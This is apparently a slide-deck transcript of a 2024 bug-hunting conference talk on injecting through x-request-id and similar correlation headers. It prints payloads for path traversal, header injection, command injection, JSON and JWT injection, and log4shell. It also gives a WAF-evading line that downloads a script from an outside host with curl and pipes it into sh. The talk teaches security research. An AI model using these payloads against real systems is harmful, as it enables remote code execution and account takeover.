Slide 1

Slide 1 text

Frans Rosén, @fransrosen, Midnight Sun 2024 HELLO

Slide 2

Slide 2 text

Frans Rosén, @fransrosen, Midnight Sun 2024 x-correlation inject"},"ion":"s or How to break server-side contexts

Slide 3

Slide 3 text

Frans Rosén @fransrosen • Full-time bug hunter • Listen to YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events

Slide 4

Slide 4 text

Frans Rosén @fransrosen • Full-time bug hunter • Listen to YTCracker - Green Hat • Collab with @avlidienbrunn • I like live-hacking events

Slide 5

Slide 5 text

Walkthrough • Struggle disclaimer • Request correlation • Server-side JSON-injections • OOB RCE / "Blind RCE"

Slide 6

Slide 6 text

Struggle disclaimer Sounds easy. It wasn't. This is the happy path.

Slide 7

Slide 7 text

Hunting server-side bugs

Slide 8

Slide 8 text

Hunting server-side bugs Challenge: How to reach deep?

Slide 9

Slide 9 text

🥁

Slide 10

Slide 10 text

x-correlation! https://en.wikipedia.org/wiki/List_of_HTTP_header_ fi elds

Slide 11

Slide 11 text

x-correlation concept https://hackernoon.com/how-to-work-with-request-id-in-net-applications

Slide 12

Slide 12 text

No standard

Slide 13

Slide 13 text

No standard • x-request-id • x-requestid • request-id • x-correlation-id • x-correlationid • x-company-correlation-id • x-company-request-id • x-trace-id • interactionid • x-unique-id • activity-id • x-activity-id • service-transaction-id • ...

Slide 14

Slide 14 text

Finding the right one

Slide 15

Slide 15 text

Finding the right one Might show up in response:

Slide 16

Slide 16 text

Finding the right one Might show up in response: Might show up in ACAH:

Slide 17

Slide 17 text

Reflection is a good indicator

Slide 18

Slide 18 text

Reflection is a good indicator Now what?

Slide 19

Slide 19 text

Fuzz!

Slide 20

Slide 20 text

Fuzz, but for what?

Slide 21

Slide 21 text

Fuzz, but for what? • Problem: Don't know context we end up in

Slide 22

Slide 22 text

Fuzz, but for what? • Problem: Don't know context we end up in • Solution: Multiple tactics, blind or trigger error

Slide 23

Slide 23 text

1. Fuzz by trigger errors

Slide 24

Slide 24 text

1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id: ' " % & > [ ${ $( ` ; \

Slide 25

Slide 25 text

1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id: ' " % & > [ ${ $( ` ; \ Do regular testing while having it there

Slide 26

Slide 26 text

1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id: ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally:

Slide 27

Slide 27 text

1. Fuzz by trigger errors ALL ZE CHARACTERS
 
 x-request-id: ' " % & > [ ${ $( ` ; \ Do regular testing while having it there Weird things happen occasionally: FUN! NOW
 LET'S UNDERSTAND
 WHY/WHAT

Slide 28

Slide 28 text

False positives

Slide 29

Slide 29 text

False positives • Request-ID is validated against a pattern, for example:
 
 ^[a-f0-9-]{36}$

Slide 30

Slide 30 text

False positives • Request-ID is validated against a pattern, for example:
 
 ^[a-f0-9-]{36}$ • Request-ID not allowed at all

Slide 31

Slide 31 text

Struggle disclaimer #2 We had no idea at fi rst.

Slide 32

Slide 32 text

What we found

Slide 33

Slide 33 text

What we found Path traverse / arbitrary fi le write
 


Slide 34

Slide 34 text

What we found Path traverse / arbitrary fi le write
 
 x-request-id: 123-456-789

Slide 35

Slide 35 text

What we found Path traverse / arbitrary fi le write
 
 x-request-id: 123-456-789
 
 Dumped metrics to /tmp/trace-data/123-456-789 containing the request-id itself

Slide 36

Slide 36 text

What we found Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/.php

Slide 37

Slide 37 text

What we found Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/.php
 
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself

Slide 38

Slide 38 text

Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/.php
 
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found

Slide 39

Slide 39 text

Path traverse / arbitrary fi le write
 
 x-request-id: ../../../../var/www/html/.php
 
 Dumped metrics to /tmp/trace-data/${requestId} containing the request-id itself What we found

Slide 40

Slide 40 text

What we found Header-injection
 


Slide 41

Slide 41 text

What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456

Slide 42

Slide 42 text

What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service


Slide 43

Slide 43 text

What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123

Slide 44

Slide 44 text

What we found Header-injection
 
 x-request-id: 1%0d%0ax-account: 456
 
 Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ header injected -> Backend service
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 x-account: 456
 x-account: 123 Account 456 fetched instead!

Slide 45

Slide 45 text

What we found Header-injection with Java (\u010d -> \u000d)
 
 x-request-id: 1%c4%8d%c4%8anew-header: foo
 


Slide 46

Slide 46 text

What we found Header-injection with Java (\u010d -> \u000d)
 
 x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close

Slide 47

Slide 47 text

What we found https://x.com/irsdl/status/1338097015188819969 Header-injection with Java (\u010d -> \u000d), thank you @irsdl!
 
 x-request-id: 1%c4%8d%c4%8anew-header: foo
 
 
 GET /backend-service
 Host: internal
 x-request-id: 1
 new-header: foo
 Connection: close

Slide 48

Slide 48 text

What we found Plain and simple OS-command injection
 


Slide 49

Slide 49 text

What we found Plain and simple OS-command injection
 
 x-request-id: $(id)

Slide 50

Slide 50 text

What we found Plain and simple OS-command injection
 
 x-request-id: $(id)

Slide 51

Slide 51 text

What we found JSON-injection
 


Slide 52

Slide 52 text

What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":"

Slide 53

Slide 53 text

What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service


Slide 54

Slide 54 text

What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}

Slide 55

Slide 55 text

What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}}

Slide 56

Slide 56 text

What we found JSON-injection
 
 x-request-id: 1"},"payload":{"account":"456","foo":" Request fl ow becomes:
 Client req w/ x-request-id -> API proxy w/ JSON-inj -> Backend service
 
 POST /backend-service
 Host: internal
 
 {
 "payload":{"account":"123"},
 "context":{"request-id":"1"},"payload":{"account":"456","foo":""}} Account 456 fetched instead!

Slide 57

Slide 57 text

Server-side JSON-injection A quick "How to"

Slide 58

Slide 58 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok)

Slide 59

Slide 59 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok) • Figure out where you are in the context

Slide 60

Slide 60 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok) • Figure out where you are in the context
 


Slide 61

Slide 61 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 


Slide 62

Slide 62 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK

Slide 63

Slide 63 text

Server-side JSON-injection • Di ff erence between " (error) and \" (ok) • Figure out where you are in the context • Does it allow premature ending?
 
 id: 1"}x}} -> Error 
 id: 1"}}x} -> Error
 id: 1"}}}x -> premature ending OK • Does it allow duplicate properties?

Slide 64

Slide 64 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points?

Slide 65

Slide 65 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 
 
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 


Slide 66

Slide 66 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 
 
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"INJECTION 1",
 "id":"1234",
 "trace":""INJECTION 2"
 }


Slide 67

Slide 67 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 
 
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }


Slide 68

Slide 68 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 
 
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:

Slide 69

Slide 69 text

Server-side JSON-injection • Duplicate properties disallowed? Multiple injection points? 
 
 Payload 1: 1","foo":{"foo":"
 Payload 2: "},"id":"4567
 
 Injections:
 {
 "req-id":"1","foo":{"foo":"",
 "id":"1234",
 "trace":""},"id":"4567"
 }
 Result:

Slide 70

Slide 70 text

Other places to look for it • S3-upload policies
 


Slide 71

Slide 71 text

Other places to look for it • S3-upload policies (@avlidienbrunn found this a few years before me)
 


Slide 72

Slide 72 text

Other places to look for it • S3-upload policies (@avlidienbrunn found this a few years before me)
 
 


Slide 73

Slide 73 text

Other places to look for it • S3-upload policies (@avlidienbrunn found this a few years before me)
 
 


Slide 74

Slide 74 text

Other places to look for it • S3-upload policies (@avlidienbrunn found this a few years before me)
 
 


Slide 75

Slide 75 text

Other places to look for it • S3-upload policies (@avlidienbrunn found this a few years before me)
 
 
 Quirk:
 Arbitrary fi elds not allowed.
 "Conditions" is allowed but ignored

Slide 76

Slide 76 text

Other places to look for it • S3-upload policies • JWT

Slide 77

Slide 77 text

Other places to look for it • S3-upload policies • JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 


Slide 78

Slide 78 text

Other places to look for it • S3-upload policies • JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin


Slide 79

Slide 79 text

Other places to look for it • S3-upload policies • JWT
 
 {"jti":"...","iss":"web","scope":"read","user":"frans"}
 
 Username: frans","scope":"admin
 
 Result:
 
 {"jti":"...","iss":"web","scope":"read","user":"frans","scope":"admin"}

Slide 80

Slide 80 text

2. Fuzz blindly

Slide 81

Slide 81 text

2. Fuzz blindly We need Out-of-Band triggers to know


Slide 82

Slide 82 text

2. Fuzz blindly We need Out-of-Band triggers to know
 
 x-request-id: BLIND XSS
 x-request-id: OOB RCE / BLIND RCE
 x-request-id: SQL inj with DNS
 x-request-id: log4shell
 x-request-id: make your own adventure

Slide 83

Slide 83 text

What we found

Slide 84

Slide 84 text

What we found log4shell
 


Slide 85

Slide 85 text

What we found log4shell
 
 x-request-id: ${jndi:rmi://x${sys:java.version}.mydomain/a}

Slide 86

Slide 86 text

What we found log4shell
 
 x-request-id: ${jndi:rmi://x${sys:java.version}.mydomain/a}

Slide 87

Slide 87 text

What we found OOB RCE
 


Slide 88

Slide 88 text

What we found OOB RCE
 
 x-request-id: |ping `whoami`.mydomain.&

Slide 89

Slide 89 text

What we found OOB RCE
 
 x-request-id: |ping `whoami`.mydomain.& ~240 minutes later:

Slide 90

Slide 90 text

No content

Slide 91

Slide 91 text

Optimizing OOB/Blind RCE Support multiple contexts

Slide 92

Slide 92 text

Optimizing OOB/Blind RCE

Slide 93

Slide 93 text

Optimizing OOB/Blind RCE • As few special chars as possible

Slide 94

Slide 94 text

Optimizing OOB/Blind RCE • As few special chars as possible • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection

Slide 95

Slide 95 text

Optimizing OOB/Blind RCE • As few special chars as possible • Support:
 
 $ `foo injection`
 $ foo 'injection'
 $ foo "injection"
 $ foo injection • Collect data when triggered

Slide 96

Slide 96 text

Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS is not?

Slide 97

Slide 97 text

Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS is not? • Avoid spaces

Slide 98

Slide 98 text

Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS is not? • Avoid spaces Result:

Slide 99

Slide 99 text

Optimizing OOB/Blind RCE • ${IFS} often captured by WAF, $IFS is not? • Avoid spaces Result: '`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)

Slide 100

Slide 100 text

Unique payloads • Know when/where/how you sent each payload

Slide 101

Slide 101 text

Unique payloads • Know when/where/how you sent each payload • Poor man's generator:

Slide 102

Slide 102 text

Unique payloads • Know when/where/how you sent each payload • Poor man's generator:

Slide 103

Slide 103 text

Unique payloads • Know when/where/how you sent each payload • Poor man's generator:

Slide 104

Slide 104 text

Collection script

Slide 105

Slide 105 text

Collection script If user-agent is curl:

Slide 106

Slide 106 text

Collection script If user-agent is curl: Alert when it happens:

Slide 107

Slide 107 text

Did it work?

Slide 108

Slide 108 text

Did it work? YES

Slide 109

Slide 109 text

Did it work? YES

Slide 110

Slide 110 text

Conclusion • Correlation headers expands attack surface

Slide 111

Slide 111 text

Conclusion • Correlation headers expands attack surface • Fuzz using errors and blind

Slide 112

Slide 112 text

Conclusion • Correlation headers expands attack surface • Fuzz using errors and blind • JSON-injection more common than expected

Slide 113

Slide 113 text

Conclusion • Correlation headers expands attack surface • Fuzz using errors and blind • JSON-injection more common than expected • Let me know if you fi nd a new context to inject into!

Slide 114

Slide 114 text

Frans Rosén, @fransrosen, Midnight Sun 2024 Thank you! Any Q? x-correlation inject"},"ion":"s or How to break server-side contexts